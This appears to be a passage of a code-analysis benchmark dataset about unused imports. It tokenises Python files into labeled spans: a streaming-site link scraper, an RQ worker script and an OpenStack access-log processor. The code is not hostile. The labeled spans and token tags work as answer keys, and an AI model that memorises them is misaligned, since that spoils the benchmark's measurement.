"'_",
"}_",
")_",
"[_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"url_",
"=_",
"client_",
"._",
"parse",
"DOM_",
"(_",
"url_",
",_",
"'",
"iframe",
"'_",
",_",
"ret_",
"=_",
"'",
"src",
"'_",
")_",
"[_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"url_",
"=_",
"client_",
"._",
"replace",
"HTM",
"LC",
"odes_",
"(_",
"url_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"result_",
"=_",
"client_",
"._",
"source_",
"(_",
"url_",
",_",
"close_",
"=_",
"False_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"r_",
"=_",
"re_",
"._",
"compile_",
"(_",
"'\"",
"?",
"file",
"\"?",
"\\\\",
"s",
"*:",
"\\\\",
"s",
"*\"",
"([",
"^",
"\"]+",
")\"",
"\\\\",
"s",
"*",
",\\\\",
"s",
"*\"",
"?",
"label",
"\"?",
"\\\\",
"s",
"*:",
"\\\\",
"s",
"*\"",
"(\\\\",
"d",
"+)",
"p",
"?\"",
"'_",
")_",
"._",
"findall_",
"(_",
"result_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"r_",
"==_",
"[_",
"]_",
":_",
"raise_",
"Exception_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"r_",
"=_",
"[_",
"(_",
"i_",
"[_",
"0_",
"]_",
"._",
"replace_",
"(_",
"'\\\\\\\\",
"/'_",
",_",
"'/'_",
")_",
"._",
"replace_",
"(_",
"'\\\\\\\\",
"&'_",
",_",
"'&'_",
")_",
"._",
"decode_",
"(_",
"'",
"unicode",
"\\u",
"escape",
"'_",
")_",
",_",
"int_",
"(_",
"i_",
"[_",
"1_",
"]_",
")_",
")_",
"for_",
"i_",
"in_",
"r_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"u_",
"=_",
"[_",
"(_",
"'%",
"s",
"|",
"User",
"-",
"Agent",
"=",
"%",
"s",
"&",
"Refer",
"er",
"=",
"%",
"s",
"'_",
"%_",
"(_",
"i_",
"[_",
"0_",
"]_",
",_",
"urllib_",
"._",
"quote",
"\\u",
"plus_",
"(_",
"client_",
"._",
"agent_",
"(_",
")_",
")_",
",_",
"urllib_",
"._",
"quote",
"\\u",
"plus_",
"(_",
"source",
"s",
"\\u",
"url_",
")_",
")_",
",_",
"i_",
"[_",
"1_",
"]_",
",_",
"'",
"Di",
"zi",
"box",
"'_",
")_",
"for_",
"i_",
"in_",
"r_",
"if_",
"not_",
"'",
"google",
"'_",
"in_",
"i_",
"[_",
"0_",
"]_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"u_",
"+=_",
"[_",
"(_",
"i_",
"[_",
"0_",
"]_",
",_",
"i_",
"[_",
"1_",
"]_",
",_",
"'",
"GV",
"ideo",
"'_",
")_",
"for_",
"i_",
"in_",
"r_",
"if_",
"'",
"google",
"'_",
"in_",
"i_",
"[_",
"0_",
"]_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"try_",
":_",
"sources_",
"._",
"append_",
"(_",
"{_",
"'",
"source",
"'_",
":_",
"[_",
"i_",
"[_",
"2_",
"]_",
"for_",
"i_",
"in_",
"u_",
"if_",
"i_",
"[_",
"1_",
"]_",
">=_",
"1080",
"_",
"]_",
"[_",
"0_",
"]_",
",_",
"'",
"quali",
"ty",
"'_",
":_",
"'",
"1080",
"p",
"'_",
",_",
"'",
"provide",
"r",
"'_",
":_",
"'",
"Di",
"zi",
"box",
"'_",
",_",
"'",
"url",
"'_",
":_",
"[_",
"i_",
"[_",
"0_",
"]_",
"for_",
"i_",
"in_",
"u_",
"if_",
"i_",
"[_",
"1_",
"]_",
">=_",
"1080",
"_",
"]_",
"[_",
"0_",
"]_",
"}_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"except_",
":_",
"pass_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"try_",
":_",
"sources_",
"._",
"append_",
"(_",
"{_",
"'",
"source",
"'_",
":_",
"[_",
"i_",
"[_",
"2_",
"]_",
"for_",
"i_",
"in_",
"u_",
"if_",
"720_",
"<=_",
"i_",
"[_",
"1_",
"]_",
"<_",
"1080",
"_",
"]_",
"[_",
"0_",
"]_",
",_",
"'",
"quali",
"ty",
"'_",
":_",
"'",
"HD",
"'_",
",_",
"'",
"provide",
"r",
"'_",
":_",
"'",
"Di",
"zi",
"box",
"'_",
",_",
"'",
"url",
"'_",
":_",
"[_",
"i_",
"[_",
"0_",
"]_",
"for_",
"i_",
"in_",
"u_",
"if_",
"720_",
"<=_",
"i_",
"[_",
"1_",
"]_",
"<_",
"1080",
"_",
"]_",
"[_",
"0_",
"]_",
"}_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"except_",
":_",
"pass_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"try_",
":_",
"sources_",
"._",
"append_",
"(_",
"{_",
"'",
"source",
"'_",
":_",
"[_",
"i_",
"[_",
"2_",
"]_",
"for_",
"i_",
"in_",
"u_",
"if_",
"i_",
"[_",
"1_",
"]_",
"<_",
"720_",
"]_",
"[_",
"0_",
"]_",
",_",
"'",
"quali",
"ty",
"'_",
":_",
"'",
"SD",
"'_",
",_",
"'",
"provide",
"r",
"'_",
":_",
"'",
"Di",
"zi",
"box",
"'_",
",_",
"'",
"url",
"'_",
":_",
"[_",
"i_",
"[_",
"0_",
"]_",
"for_",
"i_",
"in_",
"u_",
"if_",
"i_",
"[_",
"1_",
"]_",
"<_",
"720_",
"]_",
"[_",
"0_",
"]_",
"}_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"except_",
":_",
"pass_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"return_",
"sources_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"pass_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"'.",
"di",
"zi",
"box",
".'_",
"in_",
"url_",
":_",
"url_",
"=_",
"re_",
"._",
"compile_",
"(_",
"'",
"location",
"\\\\.",
"href",
"\\\\",
"s",
"*=",
"\\\\",
"s",
"*\"",
"(.+?)",
"\"'_",
")_",
"._",
"findall_",
"(_",
"result_",
")_",
"[_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"host_",
"=_",
"urlparse_",
"._",
"urlparse_",
"(_",
"url_",
")_",
"._",
"netloc_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"host_",
"=_",
"host_",
"._",
"replace_",
"(_",
"'",
"mail",
".",
"ru",
"'_",
",_",
"'",
"mail",
"ru",
".",
"ru",
"'_",
")_",
"._",
"rsplit_",
"(_",
"'.'_",
",_",
"1_",
")_",
"[_",
"0_",
"]_",
"._",
"split_",
"(_",
"'.'_",
")_",
"[_",
"-_",
"1_",
"]_",
"._",
"lower_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"strm",
"_",
"=_",
"resolver",
"s_",
"._",
"request_",
"(_",
"url_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"strm",
"_",
"==_",
"url_",
"or_",
"strm",
"_",
"==_",
"None_",
":_",
"raise_",
"Exception_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"type_",
"(_",
"strm",
"_",
")_",
"==_",
"list_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
"_",
"for_",
"i_",
"in_",
"strm",
"_",
":_",
"sources_",
"._",
"append_",
"(_",
"{_",
"'",
"source",
"'_",
":_",
"host_",
",_",
"'",
"quali",
"ty",
"'_",
":_",
"i_",
"[_",
"'",
"quali",
"ty",
"'_",
"]_",
",_",
"'",
"provide",
"r",
"'_",
":_",
"'",
"Di",
"zi",
"box",
"'_",
",_",
"'",
"url",
"'_",
":_",
"i_",
"[_",
"'",
"url",
"'_",
"]_",
"}_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
"_",
"sources_",
"._",
"append_",
"(_",
"{_",
"'",
"source",
"'_",
":_",
"host_",
",_",
"'",
"quali",
"ty",
"'_",
":_",
"'",
"HD",
"'_",
",_",
"'",
"provide",
"r",
"'_",
":_",
"'",
"Di",
"zi",
"box",
"'_",
",_",
"'",
"url",
"'_",
":_",
"strm",
"_",
"}_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"sources_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"pass_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"sources_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"source_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"resolve_",
"(_",
"self_",
",_",
"url_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"not_",
"'",
"google",
"'_",
"in_",
"url_",
":_",
"return_",
"url_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"url_",
"._",
"startswith_",
"(_",
"'",
"stack",
"://'_",
")_",
":_",
"return_",
"url_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"url_",
"=_",
"client_",
"._",
"request_",
"(_",
"url_",
",_",
"output_",
"=_",
"'",
"geturl",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"'",
"require",
"ssl",
"=",
"ye",
"s",
"'_",
"in_",
"url_",
":_",
"url_",
"=_",
"url_",
"._",
"replace_",
"(_",
"'",
"http",
"://'_",
",_",
"'",
"https",
"://'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"else_",
":_",
"url_",
"=_",
"url_",
"._",
"replace_",
"(_",
"'",
"https",
"://'_",
",_",
"'",
"http",
"://'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"url_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_"
]
| [
4,
4,
4,
4,
4,
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
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
2,
2,
2,
0,
1,
1,
1,
2,
2,
2,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
2,
2,
2,
2
]
|
Unused import | Impactstory/total-impact-webapp/rq_worker.py | [
{
"content": "import optparse\nimport os\nimport sys\nimport logging\nfrom rq import Worker\nfrom rq import Queue\nfrom rq import Connection\nfrom rq.job import JobStatus\nfrom totalimpactwebapp import redis_rq_conn\nfrom totalimpactwebapp import ti_queues\nimport argparse\n\n\n\n\n\n\n\n\nif __name__ == '__main__':\n\n # get args from the command line:\n parser = argparse.ArgumentParser(description=\"Run RQ workers on a given queue.\")\n parser.add_argument('queue_number', type=int, help=\"the queue number you want this worker to listen on.\")\n\n args = vars(parser.parse_args())\n\n queue_name = \"ti-queue-{}\".format(args[\"queue_number\"])\n\n print u\"Starting an RQ worker, listening on '{queue_name}'\\n\".format(\n queue_name=queue_name\n )\n start_worker(queue_name)\n\n",
"metadata": "root",
"header": "['module', '___EOS___']",
"index": 0
},
{
"content": "def failed_job_handler(job, exc_type, exc_value, traceback):\n\n print \"RQ job failed! {}. here's more: {} {} {}\".format(\n job.meta, exc_type, exc_value, traceback\n )\n return True # job failed, drop to next level error handling",
"metadata": "root.failed_job_handler",
"header": "['module', '___EOS___']",
"index": 15
},
{
"content": "def start_worker(queue_name):\n print \"starting worker '{}'...\".format(queue_name)\n\n with Connection(redis_rq_conn):\n worker = Worker(Queue(queue_name), exc_handler=failed_job_handler)\n worker.work()",
"metadata": "root.start_worker",
"header": "['module', '___EOS___']",
"index": 22
}
]
| [
{
"span": "import optparse",
"start_line": 0,
"start_column": 0,
"end_line": 0,
"end_column": 15
},
{
"span": "import os",
"start_line": 1,
"start_column": 0,
"end_line": 1,
"end_column": 9
},
{
"span": "import sys",
"start_line": 2,
"start_column": 0,
"end_line": 2,
"end_column": 10
},
{
"span": "import logging",
"start_line": 3,
"start_column": 0,
"end_line": 3,
"end_column": 14
},
{
"span": "from rq.job import JobStatus",
"start_line": 7,
"start_column": 0,
"end_line": 7,
"end_column": 28
},
{
"span": "from totalimpactwebapp import ti_queues",
"start_line": 9,
"start_column": 0,
"end_line": 9,
"end_column": 39
}
]
| []
| 1 | false | [
"[CLS]_",
"Un",
"used_",
"import_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"import_",
"optparse_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"os_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"sys_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"logging_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"rq_",
"import_",
"Worker_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"rq_",
"import_",
"Queue_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"rq_",
"import_",
"Connection_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"rq_",
"._",
"job_",
"import_",
"Jo",
"b",
"Status_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"total",
"impact",
"webapp_",
"import_",
"redis",
"\\u",
"rq",
"\\u",
"conn_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"total",
"impact",
"webapp_",
"import_",
"ti",
"\\u",
"queues_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"argparse_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"\\u\\u",
"name\\u\\u_",
"==_",
"'\\u",
"\\u",
"main",
"\\u\\u'_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"get",
" ",
"args",
" ",
"from",
" ",
"the",
" ",
"command",
" ",
"line",
":_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"parser_",
"=_",
"argparse_",
"._",
"Arg",
"ument",
"Parser_",
"(_",
"description_",
"=_",
"\"",
"Run",
" ",
"RQ",
" ",
"worker",
"s",
" ",
"on",
" ",
"a",
" ",
"give",
"n",
" ",
"queue",
".\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"parser_",
"._",
"add",
"\\u",
"argument_",
"(_",
"'",
"queue",
"\\u",
"number",
"'_",
",_",
"type_",
"=_",
"int_",
",_",
"help_",
"=_",
"\"",
"the",
" ",
"queue",
" ",
"number",
" ",
"you",
" ",
"want",
" ",
"this",
" ",
"worker",
" ",
"to",
" ",
"listen",
" ",
"on",
".\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"args_",
"=_",
"vars_",
"(_",
"parser_",
"._",
"parse",
"\\u",
"args_",
"(_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"queue",
"\\u",
"name_",
"=_",
"\"",
"ti",
"-",
"queue",
"-{}",
"\"_",
"._",
"format_",
"(_",
"args_",
"[_",
"\"",
"queue",
"\\u",
"number",
"\"_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"print_",
"u",
"\"",
"Start",
"ing",
" ",
"an",
" ",
"RQ",
" ",
"worker",
",",
" ",
"listen",
"ing",
" ",
"on",
" ",
"'{",
"queue",
"\\u",
"name",
"}'",
"\\\\",
"n",
"\"_",
"._",
"format_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"queue",
"\\u",
"name_",
"=_",
"queue",
"\\u",
"name_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"start",
"\\u",
"worker_",
"(_",
"queue",
"\\u",
"name_",
")_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"def_",
"fail",
"ed",
"\\u",
"job",
"\\u",
"handler_",
"(_",
"job_",
",_",
"exc",
"\\u",
"type_",
",_",
"exc",
"\\u",
"value_",
",_",
"traceback_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"print_",
"\"",
"RQ",
" ",
"job",
" ",
"fail",
"ed",
"!",
" ",
"{}.",
" ",
"here",
"'",
"s",
" ",
"more",
":",
" ",
"{}",
" ",
"{}",
" ",
"{}\"_",
"._",
"format_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"job_",
"._",
"meta_",
",_",
"exc",
"\\u",
"type_",
",_",
"exc",
"\\u",
"value_",
",_",
"traceback_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"True_",
"#",
" ",
"job",
" ",
"fail",
"ed",
",",
" ",
"drop",
" ",
"to",
" ",
"next",
" ",
"level",
" ",
"error",
" ",
"handling",
"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"start",
"\\u",
"worker_",
"(_",
"queue",
"\\u",
"name_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"print_",
"\"",
"startin",
"g",
" ",
"worker",
" ",
"'{}'",
"...\"_",
"._",
"format_",
"(_",
"queue",
"\\u",
"name_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"with_",
"Connection_",
"(_",
"redis",
"\\u",
"rq",
"\\u",
"conn_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"worker_",
"=_",
"Worker_",
"(_",
"Queue_",
"(_",
"queue",
"\\u",
"name_",
")_",
",_",
"exc",
"\\u",
"handler_",
"=_",
"fail",
"ed",
"\\u",
"job",
"\\u",
"handler_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"worker_",
"._",
"work_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
2,
2,
0,
1,
2,
0,
1,
2,
0,
1,
2,
0,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
1,
1,
1,
1,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
1,
1,
1,
1,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2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
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Unused import | notmyname/slogging/slogging/access_log_delivery.py | [
{
"content": "# Copyright (c) 2010-2011 OpenStack, LLC.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n# implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport time\nimport collections\nimport datetime\nfrom uuid import uuid4\nimport Queue\nfrom urllib import unquote\nimport os\nimport cPickle\nimport cStringIO\nimport functools\nimport random\nimport errno\n\nfrom swift.common.daemon import Daemon\nfrom swift.common.utils import get_logger, TRUE_VALUES, split_path\nfrom swift.common.exceptions import LockTimeout, ChunkReadTimeout\nfrom slogging.log_common import LogProcessorCommon, multiprocess_collate, \\\n BadFileDownload\nfrom slogging.file_buffer import FileBuffer\n\n\nmonth_map = '_ Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec'.split()\nMEMOIZE_KEY_LIMIT = 10000\nMEMOIZE_FLUSH_RATE = 0.25\n\n\n\n\n\n\n\n\n",
"metadata": "root",
"header": "['module', '___EOS___']",
"index": 0
},
{
"content": "def make_clf_from_parts(parts):\n format = '%(client_ip)s - - [%(day)s/%(month)s/%(year)s:%(hour)s:' \\\n '%(minute)s:%(second)s %(tz)s] \"%(method)s %(request)s ' \\\n '%(http_version)s\" %(code)s %(bytes_out)s \"%(referrer)s\" ' \\\n '\"%(user_agent)s\"'\n try:\n return format % parts\n except KeyError:\n return None",
"metadata": "root.make_clf_from_parts",
"header": "['module', '___EOS___']",
"index": 41
},
{
"content": "def memoize(func):\n cache = {}\n\n @functools.wraps(func)\n def wrapped(*args):\n key = tuple(args)\n if key in cache:\n return cache[key]\n result = func(*args)\n len_cache = len(cache)\n if len_cache > MEMOIZE_KEY_LIMIT:\n cache_keys = cache.keys()\n for _unused in xrange(int(len_cache * MEMOIZE_FLUSH_RATE)):\n index_to_delete = random.randrange(0, len(cache_keys))\n key_to_delete = cache_keys.pop(index_to_delete)\n del cache[key_to_delete]\n cache[key] = result\n return result\n return wrapped",
"metadata": "root.memoize",
"header": "['module', '___EOS___']",
"index": 52
},
{
"content": "class AccessLogDelivery(LogProcessorCommon):\n\n\n\n\n\n",
"metadata": "root.AccessLogDelivery",
"header": "['module', '___EOS___']",
"index": 73
},
{
"content": " def __init__(self, conf, logger):\n super(AccessLogDelivery, self).__init__(conf, logger,\n 'access-log-delivery')\n self.frequency = int(conf.get('frequency', '3600'))\n self.metadata_key = conf.get('metadata_key',\n 'x-container-meta-access-log-delivery').lower()\n self.server_name = conf.get('server_name', 'proxy-server')\n self.working_dir = conf.get('working_dir', '/tmp/swift').rstrip('/')\n buffer_limit = conf.get('buffer_limit', '10485760')\n self.file_buffer = FileBuffer(buffer_limit, logger)\n self.hidden_ips = [x.strip() for x in\n conf.get('hidden_ips', '').split(',') if x.strip()]\n self.source_account = conf['log_source_account']\n self.source_container = conf.get('log_source_container_name',\n 'log_data')",
"metadata": "root.AccessLogDelivery.__init__",
"header": "['class', 'AccessLogDelivery', '(', 'LogProcessorCommon', ')', ':', '___EOS___']",
"index": 75
},
{
"content": " def get_logs_to_process(self, already_processed_files):\n lookback_start, lookback_end = self.calculate_lookback()\n logs_to_process = self.get_container_listing(\n self.source_account,\n self.source_container,\n lookback_start,\n lookback_end,\n already_processed_files)\n logs_to_process = [(self.source_account, self.source_container, x)\n for x in logs_to_process]\n self.logger.info(_('loaded %d files to process') %\n len(logs_to_process))\n return logs_to_process",
"metadata": "root.AccessLogDelivery.get_logs_to_process",
"header": "['class', 'AccessLogDelivery', '(', 'LogProcessorCommon', ')', ':', '___EOS___']",
"index": 91
},
{
"content": " def process_one_file(self, account, container, object_name):\n files_to_upload = set()\n try:\n year, month, day, hour, _unused = object_name.split('/', 4)\n except ValueError:\n self.logger.info(_('Odd object name: %s. Skipping' % object_name))\n return\n filename_pattern = '%s/%%s/%%s/%s/%s/%s/%s' % (self.working_dir, year,\n month, day, hour)\n self.logger.debug(_('Processing %s' % object_name))\n # get an iter of the object data\n compressed = object_name.endswith('.gz')\n stream = self.get_object_data(account, container, object_name,\n compressed=compressed)\n buff = collections.defaultdict(list)\n for line in stream:\n clf, account, container = self.convert_log_line(line)\n if not clf or not account or not container:\n # bad log line\n continue\n if self.get_container_save_log_flag(account, container):\n filename = filename_pattern % (account, container)\n self.file_buffer.write(filename, clf)\n files_to_upload.add(filename)\n self.file_buffer.flush()\n return files_to_upload",
"metadata": "root.AccessLogDelivery.process_one_file",
"header": "['class', 'AccessLogDelivery', '(', 'LogProcessorCommon', ')', ':', '___EOS___']",
"index": 105
},
{
"content": " @memoize\n def get_container_save_log_flag(self, account, container):\n key = 'save-access-logs-%s-%s' % (account, container)\n flag = self.memcache.get(key)\n if flag is None:\n metadata = self.internal_proxy.get_container_metadata(account,\n container)\n val = metadata.get(self.metadata_key, '')\n flag = val.lower() in TRUE_VALUES\n self.memcache.set(key, flag, timeout=self.frequency)\n return flag",
"metadata": "root.AccessLogDelivery.get_container_save_log_flag",
"header": "['class', 'AccessLogDelivery', '(', 'LogProcessorCommon', ')', ':', '___EOS___']",
"index": 132
},
{
"content": " def convert_log_line(self, raw_log):\n parts = self.log_line_parser(raw_log)\n if parts == {}:\n return None, None, None\n return (make_clf_from_parts(parts),\n parts.get('account'),\n parts.get('container_name'))",
"metadata": "root.AccessLogDelivery.convert_log_line",
"header": "['class', 'AccessLogDelivery', '(', 'LogProcessorCommon', ')', ':', '___EOS___']",
"index": 144
},
{
"content": " def log_line_parser(self, raw_log):\n '''given a raw access log line, return a dict of the good parts'''\n d = {}\n try:\n log_arr = raw_log[16:].split(' ')\n if len(log_arr) > 18:\n log_source = log_arr[18]\n if log_source != '-':\n # internal proxy log\n return {}\n (unused,\n server,\n client_ip,\n lb_ip,\n timestamp,\n method,\n request,\n http_version,\n code,\n referrer,\n user_agent,\n auth_token,\n bytes_in,\n bytes_out,\n etag,\n trans_id,\n headers,\n processing_time) = (unquote(x) for x in log_arr[:18])\n except ValueError:\n self.logger.debug(_('Bad line data: %s') % repr(raw_log))\n return {}\n if server != self.server_name:\n # incorrect server name in log line\n self.logger.debug(_('Bad server name: found \"%(found)s\" ' \\\n 'expected \"%(expected)s\"') %\n {'found': server, 'expected': self.server_name})\n return {}\n try:\n (version, account, container_name, object_name) = \\\n split_path(request, 2, 4, True)\n except ValueError, e:\n self.logger.debug(_('Invalid path: %(error)s from data: %(log)s') %\n {'error': e, 'log': repr(raw_log)})\n return {}\n if container_name is not None:\n container_name = container_name.split('?', 1)[0]\n if object_name is not None:\n object_name = object_name.split('?', 1)[0]\n account = account.split('?', 1)[0]\n if client_ip in self.hidden_ips:\n client_ip = '0.0.0.0'\n d['client_ip'] = 